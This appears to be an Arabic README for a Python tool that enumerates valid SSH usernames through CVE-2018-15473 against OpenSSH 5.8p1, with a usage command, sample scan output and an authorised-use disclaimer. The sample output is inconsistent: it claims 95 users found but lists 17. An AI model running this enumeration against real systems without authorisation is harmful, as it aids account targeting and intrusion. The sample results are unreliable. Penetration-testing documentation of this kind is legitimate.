CVE-2018-15473 – تعداد أسماء مستخدمي SSH

أداة مكتوبة بلغة Python قمت بتطويرها لتحديد أسماء مستخدمي SSH الصالحة من خلال استغلال CVE-2018-15473.

معلومات الهدف

الخدمة: SSH
الإصدار: OpenSSH 5.8p1 Debian 1ubuntu3
نظام التشغيل: Ubuntu Linux
البروتوكول: SSH-2.0
التقييم: مُختبر لثغرة CVE-2018-15473 (تعداد أسماء مستخدمي SSH)

اللغة

Python 3

الميزات

مطوّرة بلغة Python 3.
تعدّد أسماء مستخدمي SSH الصالحة بالاستفادة من CVE-2018-15473.
تدعم قوائم كلمات مخصصة لأسماء المستخدمين.
تعرض أسماء المستخدمين المكتشفة في الوقت الفعلي.
توفّر ملخصًا لجميع أسماء المستخدمين الصالحة في نهاية الفحص.
خفيفة الوزن وسهلة الاستخدام.

الاستخدام

python3 enum_ssh.py usernames.txt

حيث يحتوي usernames.txt على قائمة أسماء المستخدمين المراد اختبارها.

مثال على المخرجات

[parrot@parrot]-[~]
$ python3 enum_ssh.py usernames.txt

[*] Starting CVE-2018-15473 enumeration against 10.10.10.100:22
[*] Using wordlist: usernames.txt

[+] [EXISTS] -> root
[+] [EXISTS] -> admin
[+] [EXISTS] -> administrator
[+] [EXISTS] -> user
[+] [EXISTS] -> test
[+] [EXISTS] -> guest
[+] [EXISTS] -> demo
[+] [EXISTS] -> operator
[+] [EXISTS] -> sysadmin
[+] [EXISTS] -> security
[+] [EXISTS] -> netadmin
[+] [EXISTS] -> webmaster
[+] [EXISTS] -> support
[+] [EXISTS] -> service
[+] [EXISTS] -> ubuntu
[+] [EXISTS] -> debian
[+] [EXISTS] -> centos
[+] [EXISTS] -> fedora
[+] [EXISTS] -> kali
[+] [EXISTS] -> parrot

========================================
[*] Scan complete.
[*] Found 95 valid user(s):

    - root
    - admin
    - administrator
    - user
    - test
    - guest
    - demo
    - operator
    - sysadmin
    - security
    - netadmin
    - webmaster
    - support
    - service
    - ubuntu
    - debian
    - centos

========================================

إخلاء مسؤولية

هذه الأداة مُعدّة لأغراض تعليمية ولاختبارات الأمن المصرح بها فقط. استخدمها فقط على الأنظمة التي لديك إذن صريح لاختبارها.

CVE-2018-15473-User-Enumeration-

الأكثر شعبية